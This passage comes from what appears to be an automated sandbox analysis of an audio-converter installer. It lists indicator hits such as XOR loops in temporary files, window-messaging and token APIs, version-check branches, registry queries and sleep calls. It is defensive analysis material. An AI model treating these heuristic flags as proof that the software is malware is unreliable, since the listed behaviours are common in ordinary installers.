loop in file "is-2IO80.tmp" at offset 258869; code bytes = 33c1 Found XOR loop in file "is-2IO80.tmp" at offset 259605; code bytes = 33c1 Found XOR loop in file "is-2IO80.tmp" at offset 260053; code bytes = 33c1 Found XOR loop in file "is-2IO80.tmp" at offset 260629; code bytes = 33c1 Found XOR loop in file "is-2IO80.tmp" at offset 261077; code bytes = 33c1 Found XOR loop in file "is-2IO80.tmp" at offset 332755; code bytes = 33c1 Found XOR loop in file "is-2IO80.tmp" at offset 334827; code bytes = 33c1 Found XOR loop in file "is-2IO80.tmp" at offset 240460; code bytes = 8030 Found XOR loop in file "is-2IO80.tmp" at offset 240492; code bytes = 8030 Found XOR loop in file "is-2IO80.tmp" at offset 266732; code bytes = 8030 Found XOR loop in file "is-2IO80.tmp" at offset 279082; code bytes = 8030 Found XOR loop in file "is-2IO80.tmp" at offset 330864; code bytes = 8030 Found XOR loop in file "is-QHSUI.tmp" at offset 21056; code bytes = 30d0 Found XOR loop in file "is-QHSUI.tmp" at offset 309124; code bytes = 30d0 Found XOR loop in file "is-QHSUI.tmp" at offset 353623; code bytes = 30d0 Found XOR loop in file "is-QHSUI.tmp" at offset 355071; code bytes = 30d0 Found XOR loop in file "is-QHSUI.tmp" at offset 209151; code bytes = 33c1 Found XOR loop in file "is-QHSUI.tmp" at offset 209171; code bytes = 33c1 Found XOR loop in file "is-QHSUI.tmp" at offset 209186; code bytes = 33c1 Found XOR loop in file "is-QHSUI.tmp" at offset 209207; code bytes = 33c1 Found XOR loop in file "is-QHSUI.tmp" at offset 209556; code bytes = 33c1 Found XOR loop in file "is-QHSUI.tmp" at offset 209599; code bytes = 33c1 Found XOR loop in file "is-QHSUI.tmp" at offset 274908; code bytes = 33c1 Found XOR loop in file "is-QHSUI.tmp" at offset 22916; code bytes = 8030 Found XOR loop in file "is-QHSUI.tmp" at offset 22939; code bytes = 8030 Found XOR loop in file "is-QHSUI.tmp" at offset 271163; code bytes = 8030 Found XOR loop in file "is-QHSUI.tmp" at offset 350370; code bytes = 8030 Found XOR loop in file "is-QHSUI.tmp" at offset 353608; code bytes = 8030 Found XOR loop in file "is-QHSUI.tmp" at offset 354054; code bytes = 8030 Found XOR loop in file "is-QHSUI.tmp" at offset 355518; code bytes = 8030 Found XOR loop in file "is-KUUMD.tmp" at offset 231098; code bytes = 30d0 Found XOR loop in file "is-KUUMD.tmp" at offset 307897; code bytes = 30d0 Found XOR loop in file "is-KUUMD.tmp" at offset 309385; code bytes = 30d0 Found XOR loop in file "is-KUUMD.tmp" at offset 317265; code bytes = 30d0 Found XOR loop in file "is-KUUMD.tmp" at offset 54931; code bytes = 33c1 Found XOR loop in file "is-KUUMD.tmp" at offset 54965; code bytes = 33c1 Found XOR loop in file "is-KUUMD.tmp" at offset 116765; code bytes = 33c1 Found XOR loop in file "is-KUUMD.tmp" at offset 117386; code bytes = 33c1 Found XOR loop in file "is-KUUMD.tmp" at offset 250330; code bytes = 33c1 Found XOR loop in file "is-KUUMD.tmp" at offset 252501; code bytes = 33c1 Found XOR loop in file "is-KUUMD.tmp" at offset 252949; code bytes = 33c1 Found XOR loop in file "is-KUUMD.tmp" at offset 253525; code bytes = 33c1 Found XOR loop in file "is-KUUMD.tmp" at offset 253973; code bytes = 33c1 Found XOR loop in file "is-KUUMD.tmp" at offset 254709; code bytes = 33c1 Found XOR loop in file "is-KUUMD.tmp" at offset 255157; code bytes = 33c1 Found XOR loop in file "is-KUUMD.tmp" at offset 255733; code bytes = 33c1 Found XOR loop in file "is-KUUMD.tmp" at offset 256181; code bytes = 33c1 Found XOR loop in file "is-KUUMD.tmp" at offset 16986; code bytes = 8030 Found XOR loop in file "is-KUUMD.tmp" at offset 167000; code bytes = 8030 Found XOR loop in file "is-KUUMD.tmp" at offset 232188; code bytes = 8030 Found XOR loop in file "is-KUUMD.tmp" at offset 244538; code bytes = 8030 Found XOR loop in file "is-KUUMD.tmp" at offset 308834; code bytes = 8030 Found XOR loop in file "is-KUUMD.tmp" at offset 315370; code bytes = 8030 Found XOR loop in file "is-KUUMD.tmp" at offset 316462; code bytes = 8030 Found XOR loop in file "is-RGFE0.tmp" at offset 309520; code bytes = 30d0 Found XOR loop in file "is-RGFE0.tmp" at offset 313360; code bytes = 8030 Found XOR loop in file "is-RGFE0.tmp" at offset 332166; code bytes = 8030 Found XOR loop in file "is-N5UEG.tmp" at offset 289977; code bytes = 30d0 Found XOR loop in file "is-N5UEG.tmp" at offset 305261; code bytes = 30d0 Found XOR loop in file "is-N5UEG.tmp" at offset 308933; code bytes = 30d0 Found XOR loop in file "is-N5UEG.tmp" at offset 86105; code bytes = 33c1 Found XOR loop in file "is-N5UEG.tmp" at offset 89698; code bytes = 33c1 Found XOR loop in file "is-N5UEG.tmp" at offset 89711; code bytes = 33c1 Found XOR loop in file "is-N5UEG.tmp" at offset 89741; code bytes = 33c1 Found XOR loop in file "is-N5UEG.tmp" at offset 136764; code bytes = 33c1 Found XOR loop in file "is-N5UEG.tmp" at offset 167424; code bytes = 8030 Found XOR loop in file "is-N5UEG.tmp" at offset 172831; code bytes = 8030 Found XOR loop in file "is-N5UEG.tmp" at offset 236474; code bytes = 8030 Found XOR loop in file "is-N5UEG.tmp" at offset 249724; code bytes = 8030 Found XOR loop in file "is-N5UEG.tmp" at offset 262074; code bytes = 8030 Found XOR loop in file "is-N5UEG.tmp" at offset 305888; code bytes = 8030 Found XOR loop in file "is-N5UEG.tmp" at offset 306836; code bytes = 8030 Found XOR loop in file "is-N5UEG.tmp" at offset 308920; code bytes = 8030 Found XOR loop in file "is-EL45I.tmp" at offset 174022; code bytes = 30d0 Found XOR loop in file "is-EL45I.tmp" at offset 266819; code bytes = 30d0 Found XOR loop in file "is-EL45I.tmp" at offset 274593; code bytes = 30d0 Found XOR loop in file "is-EL45I.tmp" at offset 33871; code bytes = 33c1 Found XOR loop in file "is-EL45I.tmp" at offset 35359; code bytes = 33c1 Found XOR loop in file "is-EL45I.tmp" at offset 112989; code bytes = 33c1 Found XOR loop in file "is-EL45I.tmp" at offset 113610; code bytes = 33c1 Found XOR loop in file "is-EL45I.tmp" at offset 268341; code bytes = 33c1 Found XOR loop in file "is-EL45I.tmp" at offset 268605; code bytes = 33c1 Found XOR loop in file "is-EL45I.tmp" at offset 17212; code bytes = 8030 Found XOR loop in file "is-EL45I.tmp" at offset 80700; code bytes = 8030 Found XOR loop in file "is-EL45I.tmp" at offset 266780; code bytes = 8030 Found XOR loop in file "is-EL45I.tmp" at offset 273560; code bytes = 8030 Found XOR loop in file "is-EL45I.tmp" at offset 274578; code bytes = 8030 Found XOR loop in file "is-EL45I.tmp" at offset 275698; code bytes = 8030 Found XOR loop in file "is-6O12G.tmp" at offset 200346; code bytes = 30d0 Found XOR loop in file "is-6O12G.tmp" at offset 268627; code bytes = 30d0 Found XOR loop in file "is-6O12G.tmp" at offset 90829; code bytes = 33c1 Found XOR loop in file "is-6O12G.tmp" at offset 91450; code bytes = 33c1 Found XOR loop in file "is-6O12G.tmp" at offset 139325; code bytes = 8030 Found XOR loop in file "is-6O12G.tmp" at offset 201436; code bytes = 8030 Found XOR loop in file "is-6O12G.tmp" at offset 213786; code bytes = 8030 Found XOR loop in file "is-6O12G.tmp" at offset 271906; code bytes = 8030 Found XOR loop in file "is-6O12G.tmp" at offset 272596; code bytes = 8030 Found XOR loop in file "is-2R1O5.tmp" at offset 270835; code bytes = 30d0 Found XOR loop in file "is-2R1O5.tmp" at offset 275165; code bytes = 30d0 Found XOR loop in file "is-2R1O5.tmp" at offset 8926; code bytes = 33c1 Found XOR loop in file "is-2R1O5.tmp" at offset 8997; code bytes = 33c1 Found XOR loop in file "is-2R1O5.tmp" at offset 270463; code bytes = 33c1 Found XOR loop in file "is-2R1O5.tmp" at offset 200856; code bytes = 8030 Found XOR loop in file "is-2R1O5.tmp" at offset 205919; code bytes = 8030 Found XOR loop in file "is-2R1O5.tmp" at offset 206123; code bytes = 8030 Found XOR loop in file "is-2R1O5.tmp" at offset 206687; code bytes = 8030 Found XOR loop in file "is-2R1O5.tmp" at offset 206727; code bytes = 8030 Found XOR loop in file "is-2R1O5.tmp" at offset 241195; code bytes = 8030 Found XOR loop in file "is-2R1O5.tmp" at offset 241399; code bytes = 8030 Found XOR loop in file "is-2R1O5.tmp" at offset 241963; code bytes = 8030 Found XOR loop in file "is-2R1O5.tmp" at offset 242003; code bytes = 8030 Found XOR loop in file "is-2R1O5.tmp" at offset 244084; code bytes = 8030 Found XOR loop in file "is-2R1O5.tmp" at offset 271426; code bytes = 8030 Found XOR loop in file "is-2R1O5.tmp" at offset 274876; code bytes = 8030 Found XOR loop in file "is-2R1O5.tmp" at offset 275156; code bytes = 8030 Found XOR loop in file "is-HT31S.tmp" at offset 179756; code bytes = 30d0 Found XOR loop in file "is-HT31S.tmp" at offset 179812; code bytes = 30d0 Found XOR loop in file "is-HT31S.tmp" at offset 225611; code bytes = 30d0 Found XOR loop in file "is-HT31S.tmp" at offset 226747; code bytes = 30d0 Found XOR loop in file "is-HT31S.tmp" at offset 226989; code bytes = 30d0 Found XOR loop in file "is-HT31S.tmp" at offset 74942; code bytes = 33c1 Found XOR loop in file "is-HT31S.tmp" at offset 75563; code bytes = 33c1 Found XOR loop in file "is-HT31S.tmp" at offset 170901; code bytes = 33c1 Found XOR loop in file "is-HT31S.tmp" at offset 171349; code bytes = 33c1 Found XOR loop in file "is-HT31S.tmp" at offset 171925; code bytes = 33c1 Found XOR loop in file "is-HT31S.tmp" at offset 172373; code bytes = 33c1 Found XOR loop in file "is-HT31S.tmp" at offset 173189; code bytes = 33c1 Found XOR loop in file "is-HT31S.tmp" at offset 173637; code bytes = 33c1 Found XOR loop in file "is-HT31S.tmp" at offset 174213; code bytes = 33c1 Found XOR loop in file "is-HT31S.tmp" at offset 174661; code bytes = 33c1 Found XOR loop in file "is-HT31S.tmp" at offset 218828; code bytes = 8030 Found XOR loop in file "is-HT31S.tmp" at offset 220534; code bytes = 8030 Found XOR loop in file "is-HT31S.tmp" at offset 225600; code bytes = 8030 Found XOR loop in file "is-HT31S.tmp" at offset 226984; code bytes = 8030 Found XOR loop in file "is-G13FT.tmp" at offset 238885; code bytes = 30d0 Found XOR loop in file "is-G13FT.tmp" at offset 145216; code bytes = 33c1 Found XOR loop in file "is-G13FT.tmp" at offset 145240; code bytes = 33c1 Found XOR loop in file "is-G13FT.tmp" at offset 145244; code bytes = 33c1 Found XOR loop in file "is-G13FT.tmp" at offset 145312; code bytes = 33c1 Found XOR loop in file "is-G13FT.tmp" at offset 145336; code bytes = 33c1 Found XOR loop in file "is-G13FT.tmp" at offset 145340; code bytes = 33c1 Found XOR loop in file "is-G13FT.tmp" at offset 145408; code bytes = 33c1 Found XOR loop in file "is-G13FT.tmp" at offset 145432; code bytes = 33c1 Found XOR loop in file "is-G13FT.tmp" at offset 145436; code bytes = 33c1 Found XOR loop in file "is-G13FT.tmp" at offset 145504; code bytes = 33c1 Found XOR loop in file "is-G13FT.tmp" at offset 145528; code bytes = 33c1 Found XOR loop in file "is-G13FT.tmp" at offset 145532; code bytes = 33c1 Found XOR loop in file "is-G13FT.tmp" at offset 145604; code bytes = 33c1 Found XOR loop in file "is-G13FT.tmp" at offset 145626; code bytes = 33c1 Found XOR loop in file "is-G13FT.tmp" at offset 145650; code bytes = 33c1 Found XOR loop in file "is-G13FT.tmp" at offset 148713; code bytes = 33c1 Found XOR loop in file "is-G13FT.tmp" at offset 194356; code bytes = 33c1 Found XOR loop in file "is-G13FT.tmp" at offset 233047; code bytes = 33c1 Found XOR loop in file "is-G13FT.tmp" at offset 190611; code bytes = 8030 Found XOR loop in file "is-G13FT.tmp" at offset 224380; code bytes = 8030 Found XOR loop in file "is-G13FT.tmp" at offset 231398; code bytes = 8030 Found XOR loop in file "is-E27HQ.tmp" at offset 179736; code bytes = 30d0 Found XOR loop in file "is-E27HQ.tmp" at offset 179756; code bytes = 30d0 Found XOR loop in file "is-E27HQ.tmp" at offset 207660; code bytes = 30d0 Found XOR loop in file "is-E27HQ.tmp" at offset 210543; code bytes = 30d0 Found XOR loop in file "is-E27HQ.tmp" at offset 60779; code bytes = 8030 Found XOR loop in file "is-E27HQ.tmp" at offset 212521; code bytes = 8030 Found XOR loop in file "is-E27HQ.tmp" at offset 214618; code bytes = 8030 Found XOR loop in file "is-1QEQI.tmp" at offset 135479; code bytes = 30d0 Found XOR loop in file "is-1QEQI.tmp" at offset 151978; code bytes = 33c1 Found XOR loop in file "is-1QEQI.tmp" at offset 152358; code bytes = 33c1 Found XOR loop in file "is-1QEQI.tmp" at offset 153738; code bytes = 33c1 Found XOR loop in file "is-1QEQI.tmp" at offset 153846; code bytes = 33c1 Found XOR loop in file "is-1QEQI.tmp" at offset 185575; code bytes = 33c1 Found XOR loop in file "is-1QEQI.tmp" at offset 69905; code bytes = 8030 Found XOR loop in file "is-1QEQI.tmp" at offset 92017; code bytes = 8030 Found XOR loop in file "is-1QEQI.tmp" at offset 135456; code bytes = 8030 Found XOR loop in file "is-52ANA.tmp" at offset 189692; code bytes = 8030 Found XOR loop in file "is-I302G.tmp" at offset 184439; code bytes = 30d0 Found XOR loop in file "is-I302G.tmp" at offset 71332; code bytes = 33c1 Found XOR loop in file "is-I302G.tmp" at offset 73484; code bytes = 33c1 Found XOR loop in file "is-I302G.tmp" at offset 73613; code bytes = 33c1 Found XOR loop in file "is-I302G.tmp" at offset 167685; code bytes = 33c1 Found XOR loop in file "is-I302G.tmp" at offset 168133; code bytes = 33c1 Found XOR loop in file "is-I302G.tmp" at offset 168709; code bytes = 33c1 Found XOR loop in file "is-I302G.tmp" at offset 169157; code bytes = 33c1 Found XOR loop in file "is-I302G.tmp" at offset 66640; code bytes = 8030 Found XOR loop in file "is-I302G.tmp" at offset 67189; code bytes = 8030 Found XOR loop in file "is-I302G.tmp" at offset 67706; code bytes = 8030 Found XOR loop in file "is-I302G.tmp" at offset 182364; code bytes = 8030 Found XOR loop in file "is-I302G.tmp" at offset 184420; code bytes = 8030 Found XOR loop in file "is-D6SA7.tmp" at offset 176627; code bytes = 30d0 Found XOR loop in file "is-D6SA7.tmp" at offset 62041; code bytes = 33c1 Found XOR loop in file "is-D6SA7.tmp" at offset 62662; code bytes = 33c1 Found XOR loop in file "is-D6SA7.tmp" at offset 174697; code bytes = 33c1 Found XOR loop in file "is-D6SA7.tmp" at offset 139850; code bytes = 8030 Found XOR loop in file "is-D6SA7.tmp" at offset 140519; code bytes = 8030 Found XOR loop in file "is-D6SA7.tmp" at offset 172710; code bytes = 8030 Found XOR loop in file "is-D6SA7.tmp" at offset 176588; code bytes = 8030 Found XOR loop in file "is-D6SA7.tmp" at offset 177234; code bytes = 8030 Found XOR loop in file "is-D6SA7.tmp" at offset 177658; code bytes = 8030 Found XOR loop in file "is-Q9BJC.tmp" at offset 164047; code bytes = 30d0 Found XOR loop in file "is-Q9BJC.tmp" at offset 165731; code bytes = 30d0 Found XOR loop in file "is-Q9BJC.tmp" at offset 41748; code bytes = 33c1 Found XOR loop in file "is-Q9BJC.tmp" at offset 42369; code bytes = 33c1 Found XOR loop in file "is-3BCJK.tmp" at offset 137829; code bytes = 30d0 Found XOR loop in file "is-3BCJK.tmp" at offset 138827; code bytes = 30d0 Found XOR loop in file "is-3BCJK.tmp" at offset 141963; code bytes = 30d0 Found XOR loop in file "is-3BCJK.tmp" at offset 144011; code bytes = 30d0 Found XOR loop in file "is-3BCJK.tmp" at offset 137293; code bytes = 33c1 Found XOR loop in file "is-3BCJK.tmp" at offset 134728; code bytes = 8030 Found XOR loop in file "is-3BCJK.tmp" at offset 137170; code bytes = 8030 Found XOR loop in file "is-3BCJK.tmp" at offset 138814; code bytes = 8030 Found XOR loop in file "is-3BCJK.tmp" at offset 139534; code bytes = 8030 Found XOR loop in file "is-3BCJK.tmp" at offset 141924; code bytes = 8030 Found XOR loop in file "is-3BCJK.tmp" at offset 143972; code bytes = 8030 Found XOR loop in file "is-3BCJK.tmp" at offset 144542; code bytes = 8030 Found XOR loop in file "is-3BCJK.tmp" at offset 154384; code bytes = 8030 Found XOR loop in file "is-3BCJK.tmp" at offset 157113; code bytes = 8030 Found XOR loop in file "is-3BCJK.tmp" at offset 157279; code bytes = 803059:T483,file/memory contains long string with (Indicator: "software\microsoft\windows\currentversion\uninstall"; File: "unins000.dat") Found string "Software\Microsoft\Windows\CurrentVersion\Uninstall" (Indicator: "software\microsoft\windows\currentversion\uninstall"; File: "00000000-00002004.00000000.75598.00401000.00000020.mdmp") Found string "Software\Microsoft\Windows\CurrentVersion\Uninstall\" (Indicator: "software\microsoft\windows\currentversion\uninstall"; File: "00000000-00002004.00000000.75598.00401000.00000020.mdmp") Found string "Software\Microsoft\Windows\CurrentVersion\Uninstall" (Indicator: "software\microsoft\windows\currentversion\uninstall"; Source: "00000000-00002004.00000000.75598.00401000.00000020.mdmp") Found string "Software\Microsoft\Windows\CurrentVersion\Uninstall\" (Indicator: "software\microsoft\windows\currentversion\uninstall"; Source: "00000000-00002004.00000000.75598.00401000.00000020.mdmp") Found string "Software\Microsoft\Windows\CurrentVersion\Uninstall\EN Audio Converter_i" (Indicator: "software\microsoft\windows\currentversion\uninstall"; Source: "00000000-00002004.00000002.79446.014B0000.00000004.mdmp")5a:T532,file/memory contains long string with (Indicator: "AllocateAndInitializeSid"; File: "is-42S1G.tmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "00000000-00002004.00000000.75598.00401000.00000020.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00002004.00000000.75598.00401000.00000020.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00002004.00000000.75598.0049B000.00000004.mdmp, 00000000-00002004.00000002.79446.0049B000.00000004.mdmp, 00000000-00002004.00000002.79446.004A1000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00002004.00000000.75598.0049B000.00000004.mdmp, 00000000-00002004.00000002.79446.0049B000.00000004.mdmp, 00000000-00002004.00000002.79446.004A1000.00000002.mdmp") Found reference to API "RtlFreeSid" (Indicator: "FreeSid"; Source: "00000000-00002004.00000002.79446.6E2B1000.00000020.mdmp")5b:Tac0,file/memory contains long string with (Indicator: "sendmessage"; File: "is-EL45I.tmp") file/memory contains long string with (Indicator: "sendmessage"; File: "is-6O12G.tmp") file/memory contains long string with (Indicator: "sendmessage"; File: "is-HT31S.tmp") file/memory contains long string with (Indicator: "sendmessage"; File: "is-D6SA7.tmp") file/memory contains long string with (Indicator: "sendmessage"; File: "is-V2VA1.tmp") file/memory contains long string with (Indicator: "sendmessage"; File: "is-9CHEU.tmp") file/memory contains long string with (Indicator: "sendmessage"; File: "is-TB0U2.tmp") file/memory contains long string with (Indicator: "postmessage"; File: "is-I1M5M.tmp") file/memory contains long string with (Indicator: "postmessage"; File: "is-ASLUV.tmp") file/memory contains long string with (Indicator: "sendmessage"; File: "is-Q17UJ.tmp") file/memory contains long string with (Indicator: "sendmessage"; File: "is-ORVQK.tmp") file/memory contains long string with (Indicator: "sendmessage"; File: "is-UHOD0.tmp") file/memory contains long string with (Indicator: "sendmessage"; File: "is-LLR2S.tmp") file/memory contains long string with (Indicator: "findwindow"; File: "unins000.dat") Found reference to API "FINDWINDOWBYCLASSNAME" (Indicator: "findwindow"; File: "00000000-00002004.00000000.75598.00401000.00000020.mdmp") Found reference to API "FINDWINDOWBYWINDOWNAME" (Indicator: "findwindow"; File: "00000000-00002004.00000000.75598.00401000.00000020.mdmp") Found reference to API "SENDMESSAGE" (Indicator: "sendmessage"; File: "00000000-00002004.00000000.75598.00401000.00000020.mdmp") Found reference to API "POSTMESSAGE" (Indicator: "postmessage"; File: "00000000-00002004.00000000.75598.00401000.00000020.mdmp") Found reference to API "SendMessageA" (Indicator: "sendmessage"; File: "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283") Found reference to API "EnumWindows" (Indicator: "enumwindows"; File: "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283") Found reference to API "PostMessageA" (Indicator: "postmessage"; File: "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283") Found reference to API "FindWindowA" (Indicator: "findwindow"; File: "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283") Found reference to API "SendMessageW" (Indicator: "sendmessage"; File: "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283") Found reference to API "SendMessageTimeoutA" (Indicator: "sendmessage"; File: "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283") Found reference to API "PostMessageW" (Indicator: "postmessage"; File: "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283")5c:T4e5,GetVersion@KERNEL32.DLL at 00000000-00002004-6992-563-0046E38C GetVersion@KERNEL32.DLL at 00000000-00002004-6992-777-0045CF24 GetVersionExA@KERNEL32.DLL at 00000000-00002004-6992-2002-00409078 GetVersion@KERNEL32.DLL at 00000000-00002004-6992-2163-00411704 GetVersion@KERNEL32.DLL at 00000000-00002004-6992-2443-0042D984 GetVersion@KERNEL32.DLL at 00000000-00002004-6992-2445-0042E0AC GetVersionExA@KERNEL32.DLL at 00000000-00002004-6992-2611-0044B614 GetVersion@KERNEL32.DLL at 00000000-00002004-6992-2851-00463044 GetVersion@KERNEL32.DLL at 00000000-00002004-6992-2854-0046319C ISCryptGetVersion@_ISCRYPT.DLL at 00000000-00002004-6992-3133-0045D4EC GetVersionExA@KERNEL32.DLL at 00000000-00002004-6992-3170-00483828 GetVersion@KERNEL32.DLL at 00000000-00002004-6992-3412-00498578 GetVersionExA@KERNEL32.DLL at 00000000-00002004-6992-3423-0044FBFC GetVersionExA@KERNEL32.DLL at 00000000-00002004-6992-3425-0044F6E4 GetVersion@KERNEL32.DLL at 00000000-00002004-6992-3430-00419050 GetVersion@KERNEL32.DLL at 00000000-00002004-6992-3433-0041F128 GetVersion@KERNEL32.DLL at 00000000-00002004-6992-4260-004630FC GetVersion@KERNEL32.DLL at 00000000-00002004-6992-4261-00462F4C GetVersion@KERNEL32.DLL at 00000000-00002004-6992-6361-0044EEC05d:T70e,Found API call GetVersion@KERNEL32.DLL directly followed by "cmp ax, 00000601h" and "jc 0046E3D0h" at 00000000-00002004-6992-563-0046E38C Found API call GetVersion@KERNEL32.DLL directly followed by "cmp ax, 0005h" and "jnc 0045CF59h" at 00000000-00002004-6992-777-0045CF24 Found API call GetVersion@KERNEL32.DLL directly followed by "cmp ax, 0004h" and "jc 00411864h" at 00000000-00002004-6992-2163-00411704 Found API call GetVersion@KERNEL32.DLL directly followed by "cmp ax, 0006h" and "jc 0042D9DFh" at 00000000-00002004-6992-2443-0042D984 Found API call GetVersion@KERNEL32.DLL directly followed by "cmp ax, 0005h" and "jc 0042E129h" at 00000000-00002004-6992-2445-0042E0AC Found API call GetDiskFreeSpaceA@KERNEL32.DLL directly followed by "cmp byte ptr [ebp-02h], 00h" and "je 00455EFFh" at 00000000-00002004-6992-2738-00455DF8 Found API call GetVersion@KERNEL32.DLL directly followed by "cmp ax, 0006h" and "jnc 004630B9h" at 00000000-00002004-6992-2851-00463044 Found API call GetVersion@KERNEL32.DLL directly followed by "cmp ax, 0006h" and "jc 0046320Fh" at 00000000-00002004-6992-2854-0046319C Found API call GetVersion@KERNEL32.DLL directly followed by "cmp ax, 0004h" and "setnb byte ptr [0049B5C4h]" at 00000000-00002004-6992-3430-00419050 Found API call GetVersion@KERNEL32.DLL directly followed by "cmp bl, 04h" and "jnc 0041F171h" at 00000000-00002004-6992-3433-0041F128 Found API call GetVersion@KERNEL32.DLL directly followed by "cmp ax, 0006h" and "jc 00463176h" at 00000000-00002004-6992-4260-004630FC Found API call GetVersion@KERNEL32.DLL directly followed by "cmp dx, 0005h" and "jne 00462FD3h" at 00000000-00002004-6992-4261-00462F4C Found API call GetVersion@KERNEL32.DLL directly followed by "cmp ax, 0005h" and "jne 0044EF6Bh" at 00000000-00002004-6992-6361-0044EEC05e:T7a4,"DioConverterRipper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "DioConverterRipper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "DioConverterRipper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "DioConverterRipper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; Value: "") "DioConverterRipper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPDOMAIN"; Value: "") "DioConverterRipper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "DioConverterRipper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "DioConverterRipper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "DioConverterRipper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "DioConverterRipper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")5f:T432,file/memory contains long string(File: "is-EL45I.tmp") file/memory contains long string(File: "is-6O12G.tmp") file/memory contains long string(File: "is-HT31S.tmp") file/memory contains long string(File: "is-I302G.tmp") file/memory contains long string(File: "is-D6SA7.tmp") file/memory contains long string(File: "is-CTH64.tmp") file/memory contains long string(File: "is-01TRL.tmp") file/memory contains long string(File: "is-NPVS8.tmp") file/memory contains long string(File: "DISMHOST.EXE.6A8B68C6.bin") file/memory contains long string(File: "is-82UI6.tmp") file/memory contains long string(File: "is-H7128.tmp") file/memory contains long string(File: "is-ASLUV.tmp") file/memory contains long string(File: "is-UHOD0.tmp") file/memory contains long string(File: "is-F5CP0.tmp") file/memory contains long string(File: "is-LLR2S.tmp") file/memory contains long string(File: "is-BU69K.tmp") file/memory contains long string(File: "is-0DMO8.tmp") file/memory contains long string(File: "is-8JRLA.tmp") file/memory contains long string(File: "_RegDLL.tmp")60:T48b,WaitForSingleObject@KERNEL32.DLL at 00000000-00002004-6992-104-00458DA8 Sleep@KERNEL32.DLL at 00000000-00002004-6992-631-0042EE28 MsgWaitForMultipleObjects at 00000000-00002004-6992-782-00458F80 SetTimer at 00000000-00002004-6992-2360-00424B3C MsgWaitForMultipleObjects at 00000000-00002004-6992-2725-00454F68 Sleep@KERNEL32.DLL at 00000000-00002004-6992-2730-00455660 MsgWaitForMultipleObjects at 00000000-00002004-6992-2762-00457E34 WaitForSingleObject@KERNEL32.DLL at 00000000-00002004-6992-2764-00458184 Sleep@KERNEL32.DLL at 00000000-00002004-6992-2981-0046B758 MsgWaitForMultipleObjects at 00000000-00002004-6992-3001-00477B88 MsgWaitForMultipleObjects at 00000000-00002004-6992-3063-0042EC84 MsgWaitForMultipleObjects at 00000000-00002004-6992-3095-00478420 Sleep@KERNEL32.DLL at 00000000-00002004-6992-3357-00492208 WaitForSingleObject@KERNEL32.DLL at 00000000-00002004-6992-3388-00495EC4 MsgWaitForMultipleObjects at 00000000-00002004-6992-3394-00496620 Sleep@KERNEL32.DLL at 00000000-00002004-6992-3401-004969FC MsgWaitForMultipleObjects at 00000000-00002004-6992-3408-00497DA0 Sleep@KERNEL32.DLL at 00000000-00002004-6992-4415-0047CA0061:Tf29,"Software\Microsoft\RestartManager\Session0000" in Source: 00000000-00002004.00000000.75598.00230000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\SharedDLLs" in Source: 00000000-00002004.00000000.75598.00401000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\Session Manager" in Source: 00000000-00002004.00000000.75598.00401000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\Fonts" in Source: 